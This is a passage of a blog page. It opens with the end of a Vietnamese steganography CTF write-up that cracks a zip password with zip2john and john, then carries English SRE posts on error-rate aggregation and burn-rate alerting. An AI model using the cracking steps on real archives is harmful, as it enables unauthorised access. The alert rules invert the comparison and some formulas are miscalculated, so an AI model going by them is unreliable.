└─$ 7za e _cutie.png.extracted/8702.zip 

7-Zip (a) 24.07 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-06-19
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 280 bytes (1 KiB)

Extracting archive: _cutie.png.extracted/8702.zip
--
Path = _cutie.png.extracted/8702.zip
Type = zip
Physical Size = 280

    
Enter password (will not be echoed):

Có vẻ chúng ta đã gặp chút rắc rối vì file yêu cầu mật khẩu để có thể giải nén được. Các bước tiếp theo sẽ thực hiện crack zip file để truy xuất được thông tin cần tìm.

Trong mật mã truyền tin, 2 bên thường sẽ có một khóa (thường gọi là secret key). Khóa này như là một password dùng “mở khóa” để lấy được những thông tin mà người gửi muốn truyền tải. Cách này càng giúp cuộc điều tra trở nên khó khăn vì đã tăng thêm 1 lớp xác thực.

Crack zip password

┌──(kali㉿kali)-[/tmp/_cutie.png.extracted]
└─$ zip2john 8702.zip > dump.hash    
                                                                                                                                                     
┌──(kali㉿kali)-[/tmp/_cutie.png.extracted]
└─$ ls    
365  365.zlib  8702.zip  dump.hash
                                                                                                                                                     
┌──(kali㉿kali)-[/tmp/_cutie.png.extracted]
└─$ cat dump.hash          
8702.zip/To_agentR.txt:$zip2$*0*1*0*4673cae714579045*67aa*4e*61c4cf3af94e649f827e5964ce575c5f7a239c48fb992c8ea8cbffe51d03755e0ca861a5a3dcbabfa618784b85075f0ef476c6da8261805bd0a4309db38835ad32613e3dc5d7e87c0f91c0b5e64e*4969f382486cb6767ae6*$/zip2$:To_agentR.txt:8702.zip:8702.zip

Sau khi nhận được hash. Lúc này hãy thực hiện brute-force để tìm được mật khẩu

┌──(kali㉿kali)-[/tmp/_cutie.png.extracted]
└─$ john dump.hash                                                         
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
alien            (8702.zip/To_agentR.txt)     
1g 0:00:00:01 DONE 2/3 (2024-09-30 04:36) 1.000g/s 45470p/s 45470c/s 45470C/s 123456..ferrises
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Rất may mắn khi mật khẩu được đặt không quá phức tạp nên việc crack hoàn thành rất nhanh chóng. Lúc này hãy sử dụng mật khẩu đã crack được là alien để unzip file

# Extract file
┌──(kali㉿kali)-[/tmp/_cutie.png.extracted]
└─$ 7za e 8702.zip                     

7-Zip (a) 24.07 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-06-19
 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 280 bytes (1 KiB)

Extracting archive: 8702.zip
--
Path = 8702.zip
Type = zip
Physical Size = 280

    
Enter password (will not be echoed):
Everything is Ok

Size:       86
Compressed: 280
                                                                                                                                       
┌──(kali㉿kali)-[/tmp/_cutie.png.extracted]
└─$ ls
365  365.zlib  8702.zip  dump.hash  To_agentR.txt

# Trích xuất thông tin bí mật                                                                                                                                                     
┌──(kali㉿kali)-[/tmp/_cutie.png.extracted]
└─$ cat To_agentR.txt 
Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R
                                                                                                                                                     
┌──(kali㉿kali)-[/tmp/_cutie.png.extracted]
└─$ 

Done, sẽ khá là bất ngờ khi lần đầu tiên bạn khám phá được cách nhúng thông tin bí mật vào một file khác. Hầu hết các file đều có thể nhúng những thông tin bí mật khác vào chúng. Quan trọng là trong quá trình truyền tải, các dữ liệu đó có phải là những dữ liệu vi phạm tính chất về cộng đồng hay những nội dung độc hại được các mạng xã hội detect được và xóa nó đi hay không, còn việc nhúng thông tin bí mật vào file khá dễ dàng. Vì vậy, cybercrimes thường sẽ sử dụng những mạng xã hội lỏng lẻo trong tính bảo mật để thuận lợi trong việc trao đổi thông tin bất hợp pháp.

Evaluating Service Compliance Using Error Rate

2024-07-20T00:00:00+00:00

Calculate and Aggregate Error Rate

To illustrate, consider the following example:

Example:** Up to the current time (T = 15m), 21 events corresponding to data points have been collected, where X data points are bad events and Y data points are good events. These data points are arranged as follows on a time-series:

 *+**+*+ ****+** +*+*++* ****+
|---------------------------->
0m                          15m

(*) represents a good event
(+) represents a bad event.

When evaluating the Error Rate (ER), it’s important to assess it over time windows. For instance, in this case, each evaluation considers a time window of 5 minutes (time_window=5m). The values are still arranged as initially shown but grouped into time segments:

 *+**+*+ ****+** +*+*++* ****+
|-------|-------|-------|---->
0m     5m      10m     15m  ...

Overlap can occur in data points when assessing with smaller time windows using a rolling-window mechanism.

To address this issue, simply ensure that the interval between evaluations is >= time_window. However, this will increase the detection time because interval will equivalent to time to return evaluation result. Thus, a higher interval will result in longer detection times.

 *+**+*+ ****+** +*+*++* ****+
|-------|-------|-------|---->
0m     5m      10m     15m  ...
       (1)     (2)     (3)
        ^       ^       ^
        |       |       |
---(G1)-+--(G2)-+--(G3)--
                |
                v
      ______________________
     |                      |
     | Error rate aggregate |
     |______________________|

Legend:
  tw: time window (= 5m)
  (1) (2) (3): Times of ER collection (n)
  (G1) (G2) (G3): Groups of data points considered in each corresponding evaluation (chunks)

The groups of data points allocated per time window are represented as shown above, dividing the 15m period into 3 evaluation stages corresponding to groups G1, G2, G3. From there, the aggregated Error Rate from each time window is calculated as follows:

Error rate aggregate phase:

----------------------------------------------------------------------------------------
|   n   |  chunks  |   time range   |  total event  |   bad event    |    error rate    |
---------------------------------------------------------------------------------------
|  (1)  |    C1    |     0m -> 5m   |      7        |        3       |       0.42       |
|  (2)  |    C2    |     5m -> 10m  |      7        |        1       |       0.14       |
|  (3)  |    C1    |     10m -> 15m |      7        |        4       |       0.57       |
========================================================================================

The example simulates events that are evenly distributed across time segments, but reality will be different. However, the way to aggregate ER is completely similar.

Therefore, the error rate index needs to be cross-referenced with the Error Budget to compute the amount of Error Budget Remaining for the service. For instance, if at an evaluation stage (t), ER = 0.42 is obtained, how much EB does this ER “burn”?

Evaluating service compliance

The EBR value at the start of each cycle is initialized with 100% EB. This means, if you have EB = 33.6h per month, equivalent to 6.72h EB per cycle (week), each cycle starts with 6.72h EB and resets at the end of each cycle. Whenever a bad event occurs, the amount of EBR decreases until it reaches 0 (exhausted). If EBR is exhausted earlier than expected, the service violates compliance.

-> So, how is the amount of EB exhausted based on the calculated ER?

For clarity, using the example above, in the initial evaluation stage, ER = 0.42 (42% of events are bad) within 5 minutes. This allows us to calculate the Error Budget consumed and the Error Budget Remaining:

At time t:

EB(consumed)[t] = ER[t] * time_window = 0.42 * 5 = 2.1 (minutes)
EBR[t] = EBR[t] - ER[t] = 6.72h - 2.1m = 6.685 (hours)

-> Therefore, a 42% Error Rate will consume 2.1 minutes of Error Budget.

Applying this calculation method allows us to deduce EB(consumed) and EBR at subsequent evaluation stages:

Error rate aggregate phase:

-------------------------------------------------------------------------------------------------------------------------------------------------------
|   n   |  chunks  |   time range   |  total event   |   bad event    |    error rate    |   EB consumed (by minutes)   |      EBR (by hours)         |
-------------------------------------------------------------------------------------------------------------------------------------------------------
|  (1)  |    C1    |    0m -> 5m    |       7        |        3       |       0.42       |           2.1                |             6.685           |
|  (2)  |    C2    |    5m -> 10m   |       7        |        1       |       0.14       |           0.7                |             6.673           |
|  (3)  |    C3    |    10m -> 15m  |       7        |        4       |       0.57       |           2.85               |             6.6255          |
=======================================================================================================================================================

SLO Alert for detect and alert service state

2024-04-30T00:00:00+00:00

Using SLO (Service-Level Objective) for determine issue about Reliability of system is good choice that’s today system using for estimate ability “Serve enduser good enough” or “Detect issues about healthy of system” under view of Engineer. Maybe SLO not bring much value when system is operating stably or in other words “stasifying user” the way we see it from “surface”. However, for evaluate more accurate something what we see requires accurate statistic and from this we can evaluate “quality” system more exactly. So, SREs (Site-Reliability Engineer) using SLO for determine “threshold” that they think it serve enduser “good enough”

There is no problem when system running stably like something we hope. This will be more difficult when system extend over time. At this time, complexity will be linear increase with risk that the system will meet. Identify problems before it happen help SREs have better strategy for response, so target will focus to metrics around SLO.

Idea for determine risks using Error Budget (EB)

It makes sense that our first step would be to define warnings related to “Error Budget (EB) will likely run out in the next X days.”, this more early with target that team defined. That mean, maybe using current SLI (Service-Level Indicator) for calculate Error Rate (ER) of system and ratio it with EB determine before for return result about Budget Remaining (BR).

That idea with key concept is: “If at a time, the amount of EB “burned” will be proportional with severity of problem encountered”

That mean, at a time, the amount of EB more burned <-> The issue is even more concerning

What does this mean ?

Example, we have a cycle for evaluate SLO is 28 days (time_window=28d) and SLO threshold defined is 99.9% (SLO = 0.999) requests received will be handle successful by the server.

-> EB = 1 - SLO = 1 - 0.999 = 0.001

This is request ratio that system Allow handle error in 28d time window. If exceed, “mission fail” (Did not reach the goal).

Let’s say within 28 days, we have total 1 million requests received. According to target we have set, the system will only be allowed for handle failed 1000 requests and 999,000 requests remaining will have to be be handle successful

If our system running stably like something we hope, then after 28 days, 100% EB will be exhausted (corresponding with EB = 0% after 28 days). This means the same thing about Burn rate = 1. This case called “perfect case”

-> When outages occur with system, suppose we calculate and determine that this will exhausted 100% EB after the 14th days (1/2 time_window) -> Burn rate = 2 (EB burn fast double -> This mean we will have problems with double risk).

At this time, we can show charts corresponding between time window and burn rate (with time_window = 30 days in bellow image)

SLO target is set will be considered passed if in time window, amount EB not “exhausted” earlier. This idea base on EB amount consumed corresponding with (BR) in “perfect case” for estimate system health could be worse.

-> The higher the burn rate at SLO time window, the faster EB is exhausted -> the greater the risk.

From there we can be seen evaluating periodically and alert prolems related error budget consumed is necessary.

How evaluate and alert periodically is the question arises now, the following plan we can use for identify EB threshold consume of system for alert when the service has problem.

Solution for identify burn rate

With 100% SLO (SLO = 1) in 28d corresponding 672h system up (always up and not include any incidents in 672h). However, this story is completely unfeasible because any system or service will have downtime when we deploy new feature, resolve incidents. So, SLO we set require will be smaller than 100%

As mentioned above, we have set SLO = 0.999 (99.9%) in 28 days period, this equivalent to:

28 * 24 * 0.999 = 671.328h uptime => allow 0.672h (~ 40.32 minutes) downtime in 28 days period.

=> Error Budget (EB) = 0.001 (0.1%) <=> 40.32 minutes in 28 days, that means in 28 days period we only have 40.32 minutes downtime.

We had been identify EB, next we can define threshold EB consumed to determine problems system or service.

Following idea we discussed above. Let go to a specific example as follow:

“Determine that the system is looking for a problem worth paying attention to when the amount of EB consumed in 1 hour time window is greater than 5%”

Analysis:

We have fully Error budget (EB) in 1 cycle 28 days = (40.32 minutes). Following perfect case, avg a hour we allow maximum use:

40.32 * 28 * 24 = 0.06 minutes (~3.6 seconds) downtime <=> 0.1488% EB/hour

So, we can try to set threshold with value > 5% EB (~2 minutes) to firing an alert.

100% EB corresponding with ~ 40m. At this point, we need define the downtime range so that the service does not impact the previously defined SLO.

With 5% EB per hour -> We can calculate burn rate:

$BR = \dfrac{P \times EBc}{tw}$

With:

BR: Burn rate.
EBc: Error budget consumed.
P: Period for SLO eval.
tw: Time window. In this case, tw = 1h.

From there, we calulate burn rate limit with 5% EB consumed per hour and we can configurate alerting rule by Burn rate:

$BR = \dfrac{28 \times 24 \times 0.05}{1} = 33.6$

Rule config:

expr: 
ErrorRate[1h] < 33.6 

However, there is one problem occur:

x 33.6 times EB in 1 hour is fit for give decision service occuring problems make consumes EB significantly compare to EB we set. But, if EB consumed < 33.6 times little a bit, there won’t be any alert (for example ER = 33 times EB) athough it “burn” 100% EB in 20.3h*.

With BR = 33. We calculated Error Budget consumed:

$EBc = \dfrac{BR \times tw}{P} = \dfrac{33 \times 1h}{28 \times 24} = 0.049$

And then, we have time to consume all budget:

$T = \dfrac{1 \times tw}{EBc} = \dfrac{1 \times 1h}{0.049} = 20.3h$

This is overcome by using an additional short time window to detect problems that occur briefly but cause significant to the EB and this require quick response. Additionally, the short window time helps ensure that the chart recovers quickly when the problem is resolved.

As recommended. We could use short time window = 1/12 long time window with the same burn rate.

Therefore, it is recommended to add an evaluation condition for a short time window to help detect problems make burn significantly EB.

Rule config:

expr: 
ER[1h] < 33.6 
OR 
ER[5m] < 33.6

From there, we can see the use of long time window to identify the risks of EB consumption in the future to have plans or solutions to overcome when that situation continues in the coming days while short time window is used to detect problems that have a significant impact on the system and need to be resolved as soon as possible.

Reference:

Analyze and build model identify value Nth-percent

2024-02-28T00:00:00+00:00

When you want identify value of duration time about HTTP requests at N-percentile with dataset only include counter buckets (bins in histogram) and how using linear interpolation for find duration time from average growth rate of buckets on the timeline.

Let’s follow my notebook: https://www.kaggle.com/code/vuvietnguyen147/analyze-and-build-model-identify-value-nth-percent

VuNguyen's SRE Blog

New packet-sniffer tool

Happy new year 2026

On-the-Fly MySQL Response Tracing - Part 1

Ngày 20/10 chúc một nửa thế giới luôn xinh đẹp và tỏa sáng - như ánh đèn Bestlight trong mọi không gian! ✨

GPU tracing and monitoring at low-level

eBPF comes into play

OOM Profiler Investigation

Memoir of June 12, 2025

Kick Your Ass, Monorepo Mindset!

Blame Monorepo

Fucking shit cái hacking challenge củ b` này đã làm đầu óc tôi bận rộn 2 ngày cuối tuần vừa rồi.

LinkVortex

Tiếp cận

Open port scan:

Subdomain scan

Brute force login account

Exploit CVE dựa vào framework version

Git Exposed Exploit

Linux Privilliage Escalation

Kết

CÁC CHÁU "HACKER LỎ" DẠO GẦN ĐÂY MẠO DANH CẢ ĐIỆN LỰC EVN ĐỂ KIẾM THÊM VÀI NỒI BÁNH CHƯNG.

Steganography

Forensics

Evaluating Service Compliance Using Error Rate

Calculate and Aggregate Error Rate

Evaluating service compliance

SLO Alert for detect and alert service state

Idea for determine risks using Error Budget (EB)

Solution for identify burn rate

Analyze and build model identify value Nth-percent